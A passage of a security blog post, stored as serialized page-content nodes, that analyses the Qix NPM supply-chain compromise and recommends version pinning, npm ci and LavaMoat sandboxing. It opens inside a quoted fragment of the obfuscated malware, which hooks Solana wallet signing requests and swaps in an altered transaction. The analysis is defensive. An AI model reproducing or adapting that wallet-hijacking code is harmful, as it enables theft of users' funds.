_0x1089ae",{"type":25,"tag":271,"props":111438,"children":111439},{"style":13625},[111440],{"type":30,"value":394},{"type":25,"tag":271,"props":111442,"children":111443},{"style":13598},[111444],{"type":30,"value":111341},{"type":25,"tag":271,"props":111446,"children":111447},{"style":13625},[111448],{"type":30,"value":1860},{"type":25,"tag":271,"props":111450,"children":111451},{"style":13598},[111452],{"type":30,"value":111376},{"type":25,"tag":271,"props":111454,"children":111455},{"style":13625},[111456],{"type":30,"value":5604},{"type":25,"tag":271,"props":111458,"children":111459},{"style":16187},[111460],{"type":30,"value":953},{"type":25,"tag":271,"props":111462,"children":111463},{"style":13625},[111464],{"type":30,"value":36160},{"type":25,"tag":271,"props":111466,"children":111467},{"style":14289},[111468],{"type":30,"value":280},{"type":25,"tag":271,"props":111470,"children":111471},{"style":13625},[111472],{"type":30,"value":13665},{"type":25,"tag":271,"props":111474,"children":111475},{"class":13593,"line":14391},[111476,111481,111485,111489,111493,111497,111501,111505,111509],{"type":25,"tag":271,"props":111477,"children":111478},{"style":13598},[111479],{"type":30,"value":111480},"    _0x2c3d7e",{"type":25,"tag":271,"props":111482,"children":111483},{"style":13625},[111484],{"type":30,"value":1860},{"type":25,"tag":271,"props":111486,"children":111487},{"style":13598},[111488],{"type":30,"value":111376},{"type":25,"tag":271,"props":111490,"children":111491},{"style":13625},[111492],{"type":30,"value":5604},{"type":25,"tag":271,"props":111494,"children":111495},{"style":16187},[111496],{"type":30,"value":953},{"type":25,"tag":271,"props":111498,"children":111499},{"style":13625},[111500],{"type":30,"value":21781},{"type":25,"tag":271,"props":111502,"children":111503},{"style":13603},[111504],{"type":30,"value":1065},{"type":25,"tag":271,"props":111506,"children":111507},{"style":13598},[111508],{"type":30,"value":111427},{"type":25,"tag":271,"props":111510,"children":111511},{"style":13625},[111512],{"type":30,"value":16165},{"type":25,"tag":271,"props":111514,"children":111515},{"class":13593,"line":14400},[111516,111520,111524,111528,111533],{"type":25,"tag":271,"props":111517,"children":111518},{"style":13625},[111519],{"type":30,"value":44580},{"type":25,"tag":271,"props":111521,"children":111522},{"style":16171},[111523],{"type":30,"value":61527},{"type":25,"tag":271,"props":111525,"children":111526},{"style":13625},[111527],{"type":30,"value":16213},{"type":25,"tag":271,"props":111529,"children":111530},{"style":13598},[111531],{"type":30,"value":111532},"_0x226343",{"type":25,"tag":271,"props":111534,"children":111535},{"style":13625},[111536],{"type":30,"value":111537},") {}\n",{"type":25,"tag":271,"props":111539,"children":111540},{"class":13593,"line":16406},[111541,111545,111549],{"type":25,"tag":271,"props":111542,"children":111543},{"style":13625},[111544],{"type":30,"value":59989},{"type":25,"tag":271,"props":111546,"children":111547},{"style":16171},[111548],{"type":30,"value":16458},{"type":25,"tag":271,"props":111550,"children":111551},{"style":13625},[111552],{"type":30,"value":16431},{"type":25,"tag":271,"props":111554,"children":111555},{"class":13593,"line":16434},[111556,111560],{"type":25,"tag":271,"props":111557,"children":111558},{"style":16171},[111559],{"type":30,"value":44506},{"type":25,"tag":271,"props":111561,"children":111562},{"style":13625},[111563],{"type":30,"value":91679},{"type":25,"tag":271,"props":111565,"children":111566},{"class":13593,"line":16447},[111567,111572,111576,111580,111584,111588,111593],{"type":25,"tag":271,"props":111568,"children":111569},{"style":13625},[111570],{"type":30,"value":111571},"    (",{"type":25,"tag":271,"props":111573,"children":111574},{"style":13598},[111575],{"type":30,"value":111341},{"type":25,"tag":271,"props":111577,"children":111578},{"style":13625},[111579],{"type":30,"value":1860},{"type":25,"tag":271,"props":111581,"children":111582},{"style":13598},[111583],{"type":30,"value":51423},{"type":25,"tag":271,"props":111585,"children":111586},{"style":13603},[111587],{"type":30,"value":44534},{"type":25,"tag":271,"props":111589,"children":111590},{"style":17388},[111591],{"type":30,"value":111592}," 'solana_signTransaction'",{"type":25,"tag":271,"props":111594,"children":111595},{"style":13603},[111596],{"type":30,"value":111597}," ||\n",{"type":25,"tag":271,"props":111599,"children":111600},{"class":13593,"line":16465},[111601,111606,111610,111614,111618,111623,111627],{"type":25,"tag":271,"props":111602,"children":111603},{"style":13598},[111604],{"type":30,"value":111605},"      _0x2c3d7e",{"type":25,"tag":271,"props":111607,"children":111608},{"style":13625},[111609],{"type":30,"value":1860},{"type":25,"tag":271,"props":111611,"children":111612},{"style":13598},[111613],{"type":30,"value":51423},{"type":25,"tag":271,"props":111615,"children":111616},{"style":13603},[111617],{"type":30,"value":44534},{"type":25,"tag":271,"props":111619,"children":111620},{"style":17388},[111621],{"type":30,"value":111622}," 'solana_signAndSendTransaction'",{"type":25,"tag":271,"props":111624,"children":111625},{"style":13625},[111626],{"type":30,"value":14406},{"type":25,"tag":271,"props":111628,"children":111629},{"style":13603},[111630],{"type":30,"value":96928},{"type":25,"tag":271,"props":111632,"children":111633},{"class":13593,"line":16486},[111634,111638,111642,111646],{"type":25,"tag":271,"props":111635,"children":111636},{"style":13598},[111637],{"type":30,"value":111480},{"type":25,"tag":271,"props":111639,"children":111640},{"style":13625},[111641],{"type":30,"value":1860},{"type":25,"tag":271,"props":111643,"children":111644},{"style":13598},[111645],{"type":30,"value":111376},{"type":25,"tag":271,"props":111647,"children":111648},{"style":13603},[111649],{"type":30,"value":65800},{"type":25,"tag":271,"props":111651,"children":111652},{"class":13593,"line":16495},[111653,111657,111661,111665,111669,111673],{"type":25,"tag":271,"props":111654,"children":111655},{"style":13598},[111656],{"type":30,"value":111480},{"type":25,"tag":271,"props":111658,"children":111659},{"style":13625},[111660],{"type":30,"value":1860},{"type":25,"tag":271,"props":111662,"children":111663},{"style":13598},[111664],{"type":30,"value":111376},{"type":25,"tag":271,"props":111666,"children":111667},{"style":13625},[111668],{"type":30,"value":5604},{"type":25,"tag":271,"props":111670,"children":111671},{"style":16187},[111672],{"type":30,"value":953},{"type":25,"tag":271,"props":111674,"children":111675},{"style":13625},[111676],{"type":30,"value":24897},{"type":25,"tag":271,"props":111678,"children":111679},{"class":13593,"line":16744},[111680],{"type":25,"tag":271,"props":111681,"children":111682},{"style":13625},[111683],{"type":30,"value":111684},"  ) {\n",{"type":25,"tag":271,"props":111686,"children":111687},{"class":13593,"line":16761},[111688,111692],{"type":25,"tag":271,"props":111689,"children":111690},{"style":16171},[111691],{"type":30,"value":83097},{"type":25,"tag":271,"props":111693,"children":111694},{"style":13625},[111695],{"type":30,"value":16431},{"type":25,"tag":271,"props":111697,"children":111698},{"class":13593,"line":16778},[111699,111703,111708,111712,111716,111720,111724,111728,111732],{"type":25,"tag":271,"props":111700,"children":111701},{"style":14289},[111702],{"type":30,"value":21197},{"type":25,"tag":271,"props":111704,"children":111705},{"style":13598},[111706],{"type":30,"value":111707}," _0x5ad975",{"type":25,"tag":271,"props":111709,"children":111710},{"style":13603},[111711],{"type":30,"value":16155},{"type":25,"tag":271,"props":111713,"children":111714},{"style":13598},[111715],{"type":30,"value":111367},{"type":25,"tag":271,"props":111717,"children":111718},{"style":13625},[111719],{"type":30,"value":1860},{"type":25,"tag":271,"props":111721,"children":111722},{"style":13598},[111723],{"type":30,"value":111376},{"type":25,"tag":271,"props":111725,"children":111726},{"style":13625},[111727],{"type":30,"value":5604},{"type":25,"tag":271,"props":111729,"children":111730},{"style":16187},[111731],{"type":30,"value":953},{"type":25,"tag":271,"props":111733,"children":111734},{"style":13625},[111735],{"type":30,"value":44686},{"type":25,"tag":271,"props":111737,"children":111738},{"class":13593,"line":16791},[111739,111743,111747,111752,111756,111761],{"type":25,"tag":271,"props":111740,"children":111741},{"style":16171},[111742],{"type":30,"value":52397},{"type":25,"tag":271,"props":111744,"children":111745},{"style":13625},[111746],{"type":30,"value":16213},{"type":25,"tag":271,"props":111748,"children":111749},{"style":13598},[111750],{"type":30,"value":111751},"_0x5ad975",{"type":25,"tag":271,"props":111753,"children":111754},{"style":13625},[111755],{"type":30,"value":1860},{"type":25,"tag":271,"props":111757,"children":111758},{"style":13598},[111759],{"type":30,"value":111760},"transaction",{"type":25,"tag":271,"props":111762,"children":111763},{"style":13625},[111764],{"type":30,"value":27925},{"type":25,"tag":271,"props":111766,"children":111767},{"class":13593,"line":16800},[111768,111773,111777,111781,111785,111789],{"type":25,"tag":271,"props":111769,"children":111770},{"style":13598},[111771],{"type":30,"value":111772},"        _0x5ad975",{"type":25,"tag":271,"props":111774,"children":111775},{"style":13603},[111776],{"type":30,"value":16155},{"type":25,"tag":271,"props":111778,"children":111779},{"style":13598},[111780],{"type":30,"value":111707},{"type":25,"tag":271,"props":111782,"children":111783},{"style":13625},[111784],{"type":30,"value":1860},{"type":25,"tag":271,"props":111786,"children":111787},{"style":13598},[111788],{"type":30,"value":111760},{"type":25,"tag":271,"props":111790,"children":111791},{"style":13625},[111792],{"type":30,"value":16165},{"type":25,"tag":271,"props":111794,"children":111795},{"class":13593,"line":16823},[111796],{"type":25,"tag":271,"props":111797,"children":111798},{"style":13625},[111799],{"type":30,"value":25789},{"type":25,"tag":271,"props":111801,"children":111802},{"class":13593,"line":16832},[111803,111807,111812,111816,111820,111824,111828,111832,111836],{"type":25,"tag":271,"props":111804,"children":111805},{"style":14289},[111806],{"type":30,"value":44659},{"type":25,"tag":271,"props":111808,"children":111809},{"style":13598},[111810],{"type":30,"value":111811}," _0x5dbe63",{"type":25,"tag":271,"props":111813,"children":111814},{"style":13603},[111815],{"type":30,"value":16155},{"type":25,"tag":271,"props":111817,"children":111818},{"style":13620},[111819],{"type":30,"value":111436},{"type":25,"tag":271,"props":111821,"children":111822},{"style":13625},[111823],{"type":30,"value":394},{"type":25,"tag":271,"props":111825,"children":111826},{"style":13598},[111827],{"type":30,"value":111751},{"type":25,"tag":271,"props":111829,"children":111830},{"style":13625},[111831],{"type":30,"value":44},{"type":25,"tag":271,"props":111833,"children":111834},{"style":14289},[111835],{"type":30,"value":21296},{"type":25,"tag":271,"props":111837,"children":111838},{"style":13625},[111839],{"type":30,"value":13665},{"type":25,"tag":271,"props":111841,"children":111842},{"class":13593,"line":16841},[111843,111847,111851,111855,111859,111863,111867,111871,111875,111879],{"type":25,"tag":271,"props":111844,"children":111845},{"style":16171},[111846],{"type":30,"value":52397},{"type":25,"tag":271,"props":111848,"children":111849},{"style":13625},[111850],{"type":30,"value":16213},{"type":25,"tag":271,"props":111852,"children":111853},{"style":13598},[111854],{"type":30,"value":111341},{"type":25,"tag":271,"props":111856,"children":111857},{"style":13625},[111858],{"type":30,"value":1860},{"type":25,"tag":271,"props":111860,"children":111861},{"style":13598},[111862],{"type":30,"value":111376},{"type":25,"tag":271,"props":111864,"children":111865},{"style":13625},[111866],{"type":30,"value":5604},{"type":25,"tag":271,"props":111868,"children":111869},{"style":16187},[111870],{"type":30,"value":953},{"type":25,"tag":271,"props":111872,"children":111873},{"style":13625},[111874],{"type":30,"value":63464},{"type":25,"tag":271,"props":111876,"children":111877},{"style":13598},[111878],{"type":30,"value":111760},{"type":25,"tag":271,"props":111880,"children":111881},{"style":13625},[111882],{"type":30,"value":27925},{"type":25,"tag":271,"props":111884,"children":111885},{"class":13593,"line":16907},[111886,111891,111895,111899,111903,111907,111911,111915,111919,111923],{"type":25,"tag":271,"props":111887,"children":111888},{"style":13598},[111889],{"type":30,"value":111890},"        _0x2c3d7e",{"type":25,"tag":271,"props":111892,"children":111893},{"style":13625},[111894],{"type":30,"value":1860},{"type":25,"tag":271,"props":111896,"children":111897},{"style":13598},[111898],{"type":30,"value":111376},{"type":25,"tag":271,"props":111900,"children":111901},{"style":13625},[111902],{"type":30,"value":5604},{"type":25,"tag":271,"props":111904,"children":111905},{"style":16187},[111906],{"type":30,"value":953},{"type":25,"tag":271,"props":111908,"children":111909},{"style":13625},[111910],{"type":30,"value":63464},{"type":25,"tag":271,"props":111912,"children":111913},{"style":13598},[111914],{"type":30,"value":111760},{"type":25,"tag":271,"props":111916,"children":111917},{"style":13603},[111918],{"type":30,"value":16155},{"type":25,"tag":271,"props":111920,"children":111921},{"style":13598},[111922],{"type":30,"value":111811},{"type":25,"tag":271,"props":111924,"children":111925},{"style":13625},[111926],{"type":30,"value":16165},{"type":25,"tag":271,"props":111928,"children":111929},{"class":13593,"line":16915},[111930,111934,111938],{"type":25,"tag":271,"props":111931,"children":111932},{"style":13625},[111933],{"type":30,"value":52050},{"type":25,"tag":271,"props":111935,"children":111936},{"style":16171},[111937],{"type":30,"value":16458},{"type":25,"tag":271,"props":111939,"children":111940},{"style":13625},[111941],{"type":30,"value":16431},{"type":25,"tag":271,"props":111943,"children":111944},{"class":13593,"line":16945},[111945,111949,111953,111957,111961,111965,111969,111973,111977],{"type":25,"tag":271,"props":111946,"children":111947},{"style":13598},[111948],{"type":30,"value":111890},{"type":25,"tag":271,"props":111950,"children":111951},{"style":13625},[111952],{"type":30,"value":1860},{"type":25,"tag":271,"props":111954,"children":111955},{"style":13598},[111956],{"type":30,"value":111376},{"type":25,"tag":271,"props":111958,"children":111959},{"style":13625},[111960],{"type":30,"value":5604},{"type":25,"tag":271,"props":111962,"children":111963},{"style":16187},[111964],{"type":30,"value":953},{"type":25,"tag":271,"props":111966,"children":111967},{"style":13625},[111968],{"type":30,"value":21781},{"type":25,"tag":271,"props":111970,"children":111971},{"style":13603},[111972],{"type":30,"value":1065},{"type":25,"tag":271,"props":111974,"children":111975},{"style":13598},[111976],{"type":30,"value":111811},{"type":25,"tag":271,"props":111978,"children":111979},{"style":13625},[111980],{"type":30,"value":16165},{"type":25,"tag":271,"props":111982,"children":111983},{"class":13593,"line":16953},[111984],{"type":25,"tag":271,"props":111985,"children":111986},{"style":13625},[111987],{"type":30,"value":25789},{"type":25,"tag":271,"props":111989,"children":111990},{"class":13593,"line":16984},[111991,111995,111999,112003,112008],{"type":25,"tag":271,"props":111992,"children":111993},{"style":13625},[111994],{"type":30,"value":28901},{"type":25,"tag":271,"props":111996,"children":111997},{"style":16171},[111998],{"type":30,"value":61527},{"type":25,"tag":271,"props":112000,"children":112001},{"style":13625},[112002],{"type":30,"value":16213},{"type":25,"tag":271,"props":112004,"children":112005},{"style":13598},[112006],{"type":30,"value":112007},"_0x4b99fd",{"type":25,"tag":271,"props":112009,"children":112010},{"style":13625},[112011],{"type":30,"value":111537},{"type":25,"tag":271,"props":112013,"children":112014},{"class":13593,"line":16992},[112015],{"type":25,"tag":271,"props":112016,"children":112017},{"style":13625},[112018],{"type":30,"value":19003},{"type":25,"tag":271,"props":112020,"children":112021},{"class":13593,"line":17052},[112022],{"type":25,"tag":271,"props":112023,"children":112024},{"style":13625},[112025],{"type":30,"value":17058},{"type":25,"tag":247,"props":112027,"children":112029},{"id":112028},"impact-of-the-attack",[112030],{"type":30,"value":112031},"Impact of the Attack",{"type":25,"tag":26,"props":112033,"children":112034},{},[112035],{"type":30,"value":112036},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":25,"tag":96,"props":112038,"children":112040},{"id":112039},"why-it-will-happen-again",[112041],{"type":30,"value":112042},"Why It Will Happen Again",{"type":25,"tag":26,"props":112044,"children":112045},{},[112046],{"type":30,"value":112047},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":25,"tag":26,"props":112049,"children":112050},{},[112051],{"type":30,"value":112052},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":25,"tag":96,"props":112054,"children":112056},{"id":112055},"what-developers-can-do",[112057],{"type":30,"value":112058},"What Developers Can Do",{"type":25,"tag":26,"props":112060,"children":112061},{},[112062],{"type":30,"value":112063},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":25,"tag":247,"props":112065,"children":112067},{"id":112066},"_1-version-pinning-in-packagejson",[112068,112070],{"type":30,"value":112069},"1. Version pinning in ",{"type":25,"tag":264,"props":112071,"children":112073},{"className":112072},[],[112074],{"type":30,"value":112075},"package.json",{"type":25,"tag":26,"props":112077,"children":112078},{},[112079],{"type":30,"value":112080},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":25,"tag":26,"props":112082,"children":112083},{},[112084,112086,112092,112094,112099,112101,112106],{"type":30,"value":112085},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":25,"tag":264,"props":112087,"children":112089},{"className":112088},[],[112090],{"type":30,"value":112091},"npm install",{"type":30,"value":112093},". To pin it, just make sure to remove the caret ",{"type":25,"tag":264,"props":112095,"children":112097},{"className":112096},[],[112098],{"type":30,"value":62050},{"type":30,"value":112100}," symbol before the version in ",{"type":25,"tag":264,"props":112102,"children":112104},{"className":112103},[],[112105],{"type":30,"value":112075},{"type":30,"value":359},{"type":25,"tag":7764,"props":112108,"children":112110},{"code":112109,"language":47110,"meta":7,"className":47108,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[112111],{"type":25,"tag":264,"props":112112,"children":112113},{"__ignoreMap":7},[112114,112135,112156,112177],{"type":25,"tag":271,"props":112115,"children":112116},{"class":13593,"line":13594},[112117,112122,112126,112131],{"type":25,"tag":271,"props":112118,"children":112119},{"style":17388},[112120],{"type":30,"value":112121},"\"@react-native-async-storage/async-storage\"",{"type":25,"tag":271,"props":112123,"children":112124},{"style":13625},[112125],{"type":30,"value":28453},{"type":25,"tag":271,"props":112127,"children":112128},{"style":17388},[112129],{"type":30,"value":112130},"\"1.23.1\"",{"type":25,"tag":271,"props":112132,"children":112133},{"style":13625},[112134],{"type":30,"value":14351},{"type":25,"tag":271,"props":112136,"children":112137},{"class":13593,"line":11641},[112138,112143,112147,112152],{"type":25,"tag":271,"props":112139,"children":112140},{"style":17388},[112141],{"type":30,"value":112142},"\"@react-native-community/datetimepicker\"",{"type":25,"tag":271,"props":112144,"children":112145},{"style":13625},[112146],{"type":30,"value":28453},{"type":25,"tag":271,"props":112148,"children":112149},{"style":17388},[112150],{"type":30,"value":112151},"\"8.3.0\"",{"type":25,"tag":271,"props":112153,"children":112154},{"style":13625},[112155],{"type":30,"value":14351},{"type":25,"tag":271,"props":112157,"children":112158},{"class":13593,"line":14354},[112159,112164,112168,112173],{"type":25,"tag":271,"props":112160,"children":112161},{"style":17388},[112162],{"type":30,"value":112163},"\"@react-native-community/netinfo\"",{"type":25,"tag":271,"props":112165,"children":112166},{"style":13625},[112167],{"type":30,"value":28453},{"type":25,"tag":271,"props":112169,"children":112170},{"style":17388},[112171],{"type":30,"value":112172},"\"11.4.1\"",{"type":25,"tag":271,"props":112174,"children":112175},{"style":13625},[112176],{"type":30,"value":14351},{"type":25,"tag":271,"props":112178,"children":112179},{"class":13593,"line":14391},[112180,112185,112189],{"type":25,"tag":271,"props":112181,"children":112182},{"style":17388},[112183],{"type":30,"value":112184},"\"@react-native-picker/picker\"",{"type":25,"tag":271,"props":112186,"children":112187},{"style":13625},[112188],{"type":30,"value":28453},{"type":25,"tag":271,"props":112190,"children":112191},{"style":17388},[112192],{"type":30,"value":112193},"\"2.11.0\"\n",{"type":25,"tag":247,"props":112195,"children":112197},{"id":112196},"_2-use-npm-ci",[112198,112200],{"type":30,"value":112199},"2. Use ",{"type":25,"tag":264,"props":112201,"children":112203},{"className":112202},[],[112204],{"type":30,"value":112205},"npm ci",{"type":25,"tag":26,"props":112207,"children":112208},{},[112209,112214,112216,112222,112224,112229],{"type":25,"tag":264,"props":112210,"children":112212},{"className":112211},[],[112213],{"type":30,"value":112205},{"type":30,"value":112215}," uses the dependency versions from ",{"type":25,"tag":264,"props":112217,"children":112219},{"className":112218},[],[112220],{"type":30,"value":112221},"package-lock.json",{"type":30,"value":112223}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":25,"tag":264,"props":112225,"children":112227},{"className":112226},[],[112228],{"type":30,"value":112091},{"type":30,"value":112230}," when adding a new package or updating an existing one.",{"type":25,"tag":247,"props":112232,"children":112234},{"id":112233},"_3-implement-lavamoat",[112235,112237],{"type":30,"value":112236},"3. Implement ",{"type":25,"tag":83,"props":112238,"children":112241},{"href":112239,"rel":112240},"https://github.com/LavaMoat/LavaMoat/tree/main",[9066],[112242],{"type":25,"tag":38,"props":112243,"children":112244},{},[112245],{"type":30,"value":112246},"Lavamoat",{"type":25,"tag":26,"props":112248,"children":112249},{},[112250],{"type":30,"value":112251},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":25,"tag":26,"props":112253,"children":112254},{},[112255],{"type":30,"value":112256},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":25,"tag":7764,"props":112258,"children":112260},{"code":112259,"language":47110,"meta":7,"className":47108,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[112261],{"type":25,"tag":264,"props":112262,"children":112263},{"__ignoreMap":7},[112264,112276,112288,112299,112315,112322,112329,112341,112352,112372,112388,112395,112406,112426,112442,112449,112456],{"type":25,"tag":271,"props":112265,"children":112266},{"class":13593,"line":13594},[112267,112272],{"type":25,"tag":271,"props":112268,"children":112269},{"style":17388},[112270],{"type":30,"value":112271},"\"resources\"",{"type":25,"tag":271,"props":112273,"children":112274},{"style":13625},[112275],{"type":30,"value":50134},{"type":25,"tag":271,"props":112277,"children":112278},{"class":13593,"line":11641},[112279,112284],{"type":25,"tag":271,"props":112280,"children":112281},{"style":13598},[112282],{"type":30,"value":112283},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":25,"tag":271,"props":112285,"children":112286},{"style":13625},[112287],{"type":30,"value":50134},{"type":25,"tag":271,"props":112289,"children":112290},{"class":13593,"line":14354},[112291,112295],{"type":25,"tag":271,"props":112292,"children":112293},{"style":13598},[112294],{"type":30,"value":50142},{"type":25,"tag":271,"props":112296,"children":112297},{"style":13625},[112298],{"type":30,"value":50134},{"type":25,"tag":271,"props":112300,"children":112301},{"class":13593,"line":14391},[112302,112307,112311],{"type":25,"tag":271,"props":112303,"children":112304},{"style":13598},[112305],{"type":30,"value":112306},"        \"TextEncoder\"",{"type":25,"tag":271,"props":112308,"children":112309},{"style":13625},[112310],{"type":30,"value":28453},{"type":25,"tag":271,"props":112312,"children":112313},{"style":14289},[112314],{"type":30,"value":50303},{"type":25,"tag":271,"props":112316,"children":112317},{"class":13593,"line":14400},[112318],{"type":25,"tag":271,"props":112319,"children":112320},{"style":13625},[112321],{"type":30,"value":25789},{"type":25,"tag":271,"props":112323,"children":112324},{"class":13593,"line":16406},[112325],{"type":25,"tag":271,"props":112326,"children":112327},{"style":13625},[112328],{"type":30,"value":38491},{"type":25,"tag":271,"props":112330,"children":112331},{"class":13593,"line":16434},[112332,112337],{"type":25,"tag":271,"props":112333,"children":112334},{"style":13598},[112335],{"type":30,"value":112336},"    \"@ethereumjs/util\"",{"type":25,"tag":271,"props":112338,"children":112339},{"style":13625},[112340],{"type":30,"value":50134},{"type":25,"tag":271,"props":112342,"children":112343},{"class":13593,"line":16447},[112344,112348],{"type":25,"tag":271,"props":112345,"children":112346},{"style":13598},[112347],{"type":30,"value":50142},{"type":25,"tag":271,"props":112349,"children":112350},{"style":13625},[112351],{"type":30,"value":50134},{"type":25,"tag":271,"props":112353,"children":112354},{"class":13593,"line":16465},[112355,112360,112364,112368],{"type":25,"tag":271,"props":112356,"children":112357},{"style":13598},[112358],{"type":30,"value":112359},"        \"console.warn\"",{"type":25,"tag":271,"props":112361,"children":112362},{"style":13625},[112363],{"type":30,"value":28453},{"type":25,"tag":271,"props":112365,"children":112366},{"style":14289},[112367],{"type":30,"value":280},{"type":25,"tag":271,"props":112369,"children":112370},{"style":13625},[112371],{"type":30,"value":14351},{"type":25,"tag":271,"props":112373,"children":112374},{"class":13593,"line":16486},[112375,112380,112384],{"type":25,"tag":271,"props":112376,"children":112377},{"style":13598},[112378],{"type":30,"value":112379},"        \"fetch\"",{"type":25,"tag":271,"props":112381,"children":112382},{"style":13625},[112383],{"type":30,"value":28453},{"type":25,"tag":271,"props":112385,"children":112386},{"style":14289},[112387],{"type":30,"value":50303},{"type":25,"tag":271,"props":112389,"children":112390},{"class":13593,"line":16495},[112391],{"type":25,"tag":271,"props":112392,"children":112393},{"style":13625},[112394],{"type":30,"value":50311},{"type":25,"tag":271,"props":112396,"children":112397},{"class":13593,"line":16744},[112398,112402],{"type":25,"tag":271,"props":112399,"children":112400},{"style":13598},[112401],{"type":30,"value":50319},{"type":25,"tag":271,"props":112403,"children":112404},{"style":13625},[112405],{"type":30,"value":50134},{"type":25,"tag":271,"props":112407,"children":112408},{"class":13593,"line":16761},[112409,112414,112418,112422],{"type":25,"tag":271,"props":112410,"children":112411},{"style":13598},[112412],{"type":30,"value":112413},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":25,"tag":271,"props":112415,"children":112416},{"style":13625},[112417],{"type":30,"value":28453},{"type":25,"tag":271,"props":112419,"children":112420},{"style":14289},[112421],{"type":30,"value":280},{"type":25,"tag":271,"props":112423,"children":112424},{"style":13625},[112425],{"type":30,"value":14351},{"type":25,"tag":271,"props":112427,"children":112428},{"class":13593,"line":16778},[112429,112434,112438],{"type":25,"tag":271,"props":112430,"children":112431},{"style":13598},[112432],{"type":30,"value":112433},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":25,"tag":271,"props":112435,"children":112436},{"style":13625},[112437],{"type":30,"value":28453},{"type":25,"tag":271,"props":112439,"children":112440},{"style":14289},[112441],{"type":30,"value":50303},{"type":25,"tag":271,"props":112443,"children":112444},{"class":13593,"line":16791},[112445],{"type":25,"tag":271,"props":112446,"children":112447},{"style":13625},[112448],{"type":30,"value":25789},{"type":25,"tag":271,"props":112450,"children":112451},{"class":13593,"line":16800},[112452],{"type":25,"tag":271,"props":112453,"children":112454},{"style":13625},[112455],{"type":30,"value":16501},{"type":25,"tag":271,"props":112457,"children":112458},{"class":13593,"line":16823},[112459],{"type":25,"tag":271,"props":112460,"children":112461},{"style":13625},[112462],{"type":30,"value":17058},{"type":25,"tag":26,"props":112464,"children":112465},{},[112466,112468,112474,112476,112482,112483,112488,112490,112496,112497,112503],{"type":30,"value":112467},"In this example, it restricts the ",{"type":25,"tag":264,"props":112469,"children":112471},{"className":112470},[],[112472],{"type":30,"value":112473},"@ethereumjs/util",{"type":30,"value":112475}," package to use only ",{"type":25,"tag":264,"props":112477,"children":112479},{"className":112478},[],[112480],{"type":30,"value":112481},"console.warn",{"type":30,"value":12218},{"type":25,"tag":264,"props":112484,"children":112486},{"className":112485},[],[112487],{"type":30,"value":47207},{"type":30,"value":112489}," functions, and to include only ",{"type":25,"tag":264,"props":112491,"children":112493},{"className":112492},[],[112494],{"type":30,"value":112495},"@ethereumjs/rlp",{"type":30,"value":12218},{"type":25,"tag":264,"props":112498,"children":112500},{"className":112499},[],[112501],{"type":30,"value":112502},"ethereum-cryptography",{"type":30,"value":112504}," packages.",{"type":25,"tag":26,"props":112506,"children":112507},{},[112508],{"type":30,"value":112509},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":25,"tag":26,"props":112511,"children":112512},{},[112513,112515,112521],{"type":30,"value":112514},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":25,"tag":83,"props":112516,"children":112519},{"href":112517,"rel":112518},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[9066],[112520],{"type":30,"value":50489},{"type":30,"value":1860},{"type":25,"tag":247,"props":112523,"children":112525},{"id":112524},"lavamoat-vs-qix-malware",[112526],{"type":30,"value":112527},"Lavamoat vs Qix Malware",{"type":25,"tag":26,"props":112529,"children":112530},{},[112531,112533,112538],{"type":30,"value":112532},"If a dApp were compromised with the Qix malware (say it used ",{"type":25,"tag":264,"props":112534,"children":112536},{"className":112535},[],[112537],{"type":30,"value":110378},{"type":30,"value":112539},"), it would need to perform the following actions to drain funds from a wallet:",{"type":25,"tag":661,"props":112541,"children":112542},{},[112543,112555,112566,112577],{"type":25,"tag":112,"props":112544,"children":112545},{},[112546,112548,112553],{"type":30,"value":112547},"Replace ",{"type":25,"tag":264,"props":112549,"children":112551},{"className":112550},[],[112552],{"type":30,"value":47207},{"type":30,"value":112554}," function to a custom one",{"type":25,"tag":112,"props":112556,"children":112557},{},[112558,112560],{"type":30,"value":112559},"Access ",{"type":25,"tag":264,"props":112561,"children":112563},{"className":112562},[],[112564],{"type":30,"value":112565},"window.ethereum",{"type":25,"tag":112,"props":112567,"children":112568},{},[112569,112571,112576],{"type":30,"value":112570},"Call original ",{"type":25,"tag":264,"props":112572,"children":112574},{"className":112573},[],[112575],{"type":30,"value":47207},{"type":30,"value":51324},{"type":25,"tag":112,"props":112578,"children":112579},{},[112580],{"type":30,"value":112581},"Plus other actions not relevant here",{"type":25,"tag":26,"props":112583,"children":112584},{},[112585,112587,112593],{"type":30,"value":112586},"If the dApp is using 